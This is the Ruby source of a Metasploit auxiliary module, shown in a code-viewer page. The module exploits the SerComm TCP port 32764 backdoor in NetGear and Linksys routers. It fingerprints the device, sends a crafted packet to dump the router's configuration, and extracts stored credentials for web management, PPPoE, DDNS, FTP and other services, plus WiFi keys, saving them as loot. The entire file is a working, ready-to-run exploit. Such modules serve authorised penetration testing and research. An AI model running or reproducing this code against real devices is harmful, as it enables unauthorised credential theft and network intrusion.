Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/misc/sercomm_dump_config.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
10
SETTINGS = {
11
'Creds' => [
12
[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],
13
[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],
14
[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],
15
[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],
16
[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],
17
[ 'CMS', { 'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras
18
[ 'BigPondAuth', { 'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra
19
[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],
20
[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],
21
],
22
'General' => [
23
['Wifi SSID', /wifi_ssid=(\S+)/i],
24
['Wifi Key 1', /wifi_key1=(\S+)/i],
25
['Wifi Key 2', /wifi_key2=(\S+)/i],
26
['Wifi Key 3', /wifi_key3=(\S+)/i],
27
['Wifi Key 4', /wifi_key4=(\S+)/i],
28
['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]
29
]
30
}
31
32
attr_accessor :endianness, :credentials
33
34
def initialize(info = {})
35
super(
36
update_info(
37
info,
38
'Name' => 'SerComm Device Configuration Dump',
39
'Description' => %q{
40
This module will dump the configuration of several SerComm devices. These devices
41
typically include routers from NetGear and Linksys. This module was tested
42
successfully against the NetGear DG834 series ADSL modem router.
43
},
44
'License' => MSF_LICENSE,
45
'Author' => [
46
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
47
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
48
],
49
'References' => [
50
[ 'OSVDB', '101653' ],
51
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
52
],
53
'DisclosureDate' => '2013-12-31',
54
'Notes' => {
55
'Stability' => [CRASH_SAFE],
56
'SideEffects' => [IOC_IN_LOGS],
57
'Reliability' => []
58
}
59
)
60
)
61
62
register_options(
63
[
64
Opt::RPORT(32764),
65
]
66
)
67
end
68
69
def run
70
print_status('Attempting to connect and check endianness...')
71
@endianness = fingerprint_endian
72
@credentials = {}
73
74
if endianness.nil?
75
print_error('Failed to check endianness, aborting...')
76
return
77
end
78
print_good("#{string_endianess} device found...")
79
80
print_status('Attempting to connect and dump configuration...')
81
config = dump_configuration
82
83
if config.nil?
84
print_status('Error retrieving configuration, aborting...')
85
return
86
end
87
88
loot_file = store_loot('router.config', 'text/plain', rhost, config[:data], "#{rhost}router_config.txt", 'Router Configurations')
89
print_good("Router configuration dump stored in: #{loot_file}")
90
91
parse_configuration(config[:data])
92
end
93
94
def report_cred(opts)
95
service_data = {
96
address: opts[:ip],
97
port: opts[:port],
98
service_name: opts[:service_name],
99
protocol: 'tcp',
100
workspace_id: myworkspace_id
101
}
102
103
credential_data = {
104
origin_type: :service,
105
module_fullname: fullname,
106
username: opts[:user],
107
private_data: opts[:password],
108
private_type: :password
109
}.merge(service_data)
110
111
login_data = {
112
core: create_credential(credential_data),
113
status: Metasploit::Model::Login::Status::UNTRIED,
114
proof: opts[:proof]
115
}.merge(service_data)
116
117
create_credential_login(login_data)
118
end
119
120
private
121
122
def little_endian?
123
return endianness == 'LE'
124
end
125
126
def big_endian?
127
return endianness == 'BE'
128
end
129
130
def string_endianess
131
if little_endian?
132
return 'Little Endian'
133
elsif big_endian?
134
return 'Big Endian'
135
end
136
137
return nil
138
end
139
140
def fingerprint_endian
141
begin
142
connect
143
sock.put(Rex::Text.rand_text(5))
144
res = sock.get_once(-1, 10)
145
disconnect
146
rescue Rex::ConnectionError => e
147
print_error("Connection failed: #{e.class}: #{e}")
148
return nil
149
end
150
151
unless res
152
return nil
153
end
154
155
if res.start_with?('MMcS')
156
return 'BE'
157
elsif res.start_with?('ScMM')
158
return 'LE'
159
end
160
161
return nil
162
end
163
164
def dump_configuration
165
if big_endian?
166
pkt = [0x4d4d6353, 0x01, 0x00].pack('NVV')
167
elsif little_endian?
168
pkt = [0x4d4d6353, 0x01, 0x00].pack('VNN')
169
else
170
return nil
171
end
172
173
connect
174
sock.put(pkt)
175
res = sock.get_once(-1, 10)
176
177
disconnect
178
179
if res.blank?
180
vprint_error('No answer...')
181
return
182
end
183
184
if big_endian?
185
mark, zero, length, data = res.unpack('NVVa*')
186
else
187
mark, zero, length, data = res.unpack('VNNa*')
188
end
189
190
unless mark == 0x4d4d6353
191
vprint_error('Incorrect mark when reading response')
192
return nil
193
end
194
195
unless zero == 0
196
vprint_error('Incorrect zero when reading response')
197
return nil
198
end
199
200
unless length == data.length
201
vprint_warning('Inconsistent length / data packet')
202
# return nil
203
end
204
205
return { length: length, data: data }
206
end
207
208
def parse_configuration(data)
209
configs = data.split(?\x00)
210
211
if datastore['VERBOSE']
212
vprint_status('All configuration values:')
213
configs.sort.each do |i|
214
if i.strip.match(/.*=\S+/)
215
vprint_status(i)
216
end
217
end
218
end
219
220
configs.each do |config|
221
parse_general_config(config)
222
parse_auth_config(config)
223
end
224
225
@credentials.each do |k, v|
226
next unless v[:user] && v[:password]
227
228
print_good("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
229
report_cred(
230
ip: rhost,
231
port: rport,
232
user: v[:user],
233
password: v[:password],
234
service_name: 'sercomm',
235
proof: v.inspect
236
)
237
end
238
end
239
240
def parse_general_config(config)
241
SETTINGS['General'].each do |regex|
242
if config.match(regex[1])
243
value = ::Regexp.last_match(1)
244
print_status("#{regex[0]}: #{value}")
245
end
246
end
247
end
248
249
def parse_auth_config(config)
250
SETTINGS['Creds'].each do |cred|
251
@credentials[cred[0]] = {} unless @credentials[cred[0]]
252
253
# find the user/pass
254
if config.match(cred[1]['user'])
255
@credentials[cred[0]][:user] = ::Regexp.last_match(1)
256
end
257
258
if config.match(cred[1]['pass'])
259
@credentials[cred[0]][:password] = ::Regexp.last_match(1)
260
end
261
end
262
end
263
end
264
265